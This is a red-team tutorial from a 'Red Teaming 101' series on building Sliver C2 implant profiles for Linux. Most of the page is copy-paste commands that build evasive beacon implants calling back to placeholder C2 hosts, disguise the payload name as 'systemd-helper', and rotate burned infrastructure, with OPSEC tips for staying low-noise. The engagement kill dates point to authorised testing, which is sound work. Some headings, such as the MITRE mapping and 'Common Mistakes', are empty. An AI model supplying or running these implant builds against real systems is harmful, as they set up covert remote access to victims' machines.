1.2.1 Sliver Profile Creation — OPSEC Guide

BLUF: In Sliver, an implant profile is a saved build recipe. Use profiles to standardize low-noise beacon settings, prevent fat-fingered compile flags mid-op, and make repeat generation consistent across operators. Do not confuse implant profiles with the HTTP C2 profile selected by --c2profile.

🚀 Ready-to-Use Setup (Copy-Paste)

Replace these placeholders first:

• PROFILE_NAME → saved Sliver implant profile name
• C2_URL → your HTTP(S) C2 endpoint, e.g. cdn-updates.example.com/assets
• KILL_DATE → engagement expiry in RFC3339 UTC, e.g. 2026-12-31T23:59:59Z
• OUTDIR → output directory, e.g. /tmp/payloads

Run location: Every profiles ..., generate ..., implants, and listener command in this page is run on the backend Sliver server (usually inside the sliver-server console). Do not run these on the jump server. The jump server is only your redirector / front-end in the infra guides.

Step 1 — Create a Linux Beacon Profile (backend Sliver server)

# On the backend Sliver server, inside the sliver-server console:
profiles new beacon PROFILE_NAME \
  --http C2_URL \
  --os linux \
  --arch amd64 \
  --format exe \
  --seconds 3600 \
  --jitter 600 \
  --reconnect 60 \
  --poll-timeout 360 \
  --max-errors 1000 \
  --strategy s \
  --evasion \
  --skip-symbols \
  --limit-datetime KILL_DATE \
  --limit-fileexists /etc/ssh/sshd_config \
  --c2profile default

Step 2 — Review the Saved Profile (backend Sliver server)

profiles
profiles info PROFILE_NAME

Step 3 — Generate a Payload from the Profile (backend Sliver server)

profiles generate PROFILE_NAME \
  --name systemd-helper \
  --save OUTDIR

Step 4 — Remove Stale or Burned Profiles (backend Sliver server)

profiles rm PROFILE_NAME

OPSEC: Treat implant profiles like operational templates. Keep names bland and role-based (lin-prod-1, lin-ext-http, lin-shorthaul) rather than target-identifying (finance-prod-beacon).

MITRE ATT&CK Mapping

Section 1 — Implant Profile vs HTTP C2 Profile

These are not the same thing:

Practical meaning:

• profiles new beacon lin-prod ... saves your build flags server-side.
• --c2profile default selects which HTTP C2 traffic profile that implant uses.
• You can have many implant profiles that all point at the same HTTP C2 profile.

OPSEC: Decide your HTTP C2 profile before building implants. Changing HTTP C2 behavior later can break compatibility with already-generated implants.

Section 2 — Naming & OPSEC Guardrails

Use profile names that help operators but do not expose target context:

Good:
  lin-http-prod
  lin-http-longsleep
  lin-dns-fallback
  lin-shared-stager

Bad:
  finance-prod-beacon
  hr-laptop-payload
  acme-root-c2

Recommended defaults for a production Linux beacon profile:

• --format exe for a normal Linux executable (Sliver emits an ELF)
• --seconds 3600 --jitter 600 for low-and-slow check-ins
• --reconnect 60 to avoid hanging forever on dead infra
• --poll-timeout 360 to align with longer polling behavior
• --limit-datetime to force a hard operational stop
• --limit-fileexists or --limit-hostname to reduce accidental execution

OPSEC: A saved profile reduces operator mistakes, but it also centralizes your defaults. Review old profiles regularly so outdated domains, kill dates, or C2 assumptions do not leak into new ops.

Section 3 — Create a Low-Noise Linux Beacon Profile

profiles new beacon lin-http-prod \
  --http c2.example.com/assets \
  --os linux \
  --arch amd64 \
  --format exe \
  --seconds 3600 \
  --jitter 600 \
  --reconnect 60 \
  --poll-timeout 360 \
  --max-errors 1000 \
  --strategy s \
  --evasion \
  --skip-symbols \
  --limit-datetime 2026-12-31T23:59:59Z \
  --limit-fileexists /etc/ssh/sshd_config \
  --c2profile default

What matters here

OPSEC: --skip-symbols is often misunderstood. It is a build behavior choice, not a magic stealth flag. It does not make your beacon traffic blend in; your transport, timing, and redirector design do that.

Section 4 — Review Before You Build

Always inspect the profile after saving it:

profiles
profiles info lin-http-prod

Look for:

1. Correct implant type — beacon, not session
2. Correct C2 endpoint — no stale domain or old redirector
3. Correct interval/jitter — seconds are what you intended
4. Correct restrictions — hostname/file/date limits still make sense
5. Correct C2 profile — default or your chosen HTTP C2 profile

OPSEC: profiles info is the last cheap chance to catch an expired kill date, wrong architecture, or noisy interval before you hand a payload to an operator.

Section 5 — Generate from a Saved Profile

# Build from the saved recipe:
profiles generate lin-http-prod \
  --name systemd-helper \
  --save /tmp/payloads

# Review generated builds:
implants

Why use profiles generate instead of retyping generate beacon ... every time?

• Fewer operator mistakes
• Easier peer review
• Consistent sleep/jitter/restrictions across a campaign
• Faster rotation when only the output name changes

OPSEC: --name is an operator-side build identifier, not a process masquerade guarantee on target. Do not assume it changes runtime process appearance in a meaningful defender-facing way.

Section 6 — Rotate or Remove Profiles

Profiles are cheap. Burned profiles should not hang around forever.

# Remove a stale profile:
profiles rm lin-http-prod

# Replace it with a new redirector / new kill date:
profiles new beacon lin-http-prod-v2 \
  --http c2-2.example.com/assets \
  --os linux --arch amd64 --format exe \
  --seconds 3600 --jitter 600 \
  --limit-datetime 2027-01-31T23:59:59Z

Rotate when:

• Domain or redirector changed
• Engagement scope changed
• Kill date expired
• You moved from direct server exposure to redirector infrastructure

Section 7 — Common Mistakes

Section 8 — Quick-Reference Cheat Sheet

# Create Linux beacon profile:
profiles new beacon lin-http-prod \
  --http c2.example.com/assets \
  --os linux --arch amd64 --format exe \
  --seconds 3600 --jitter 600 \
  --evasion --skip-symbols \
  --limit-datetime 2026-12-31T23:59:59Z \
  --c2profile default

# Inspect:
profiles
profiles info lin-http-prod

# Build from profile:
profiles generate lin-http-prod --name systemd-helper --save /tmp/payloads

# Remove old profile:
profiles rm lin-http-prod

Part of the Red Teaming 101 series. Parent: 1.2 Sliver C2 Linux · Next: 1.2.2 Sliver Beacon Creation OPSEC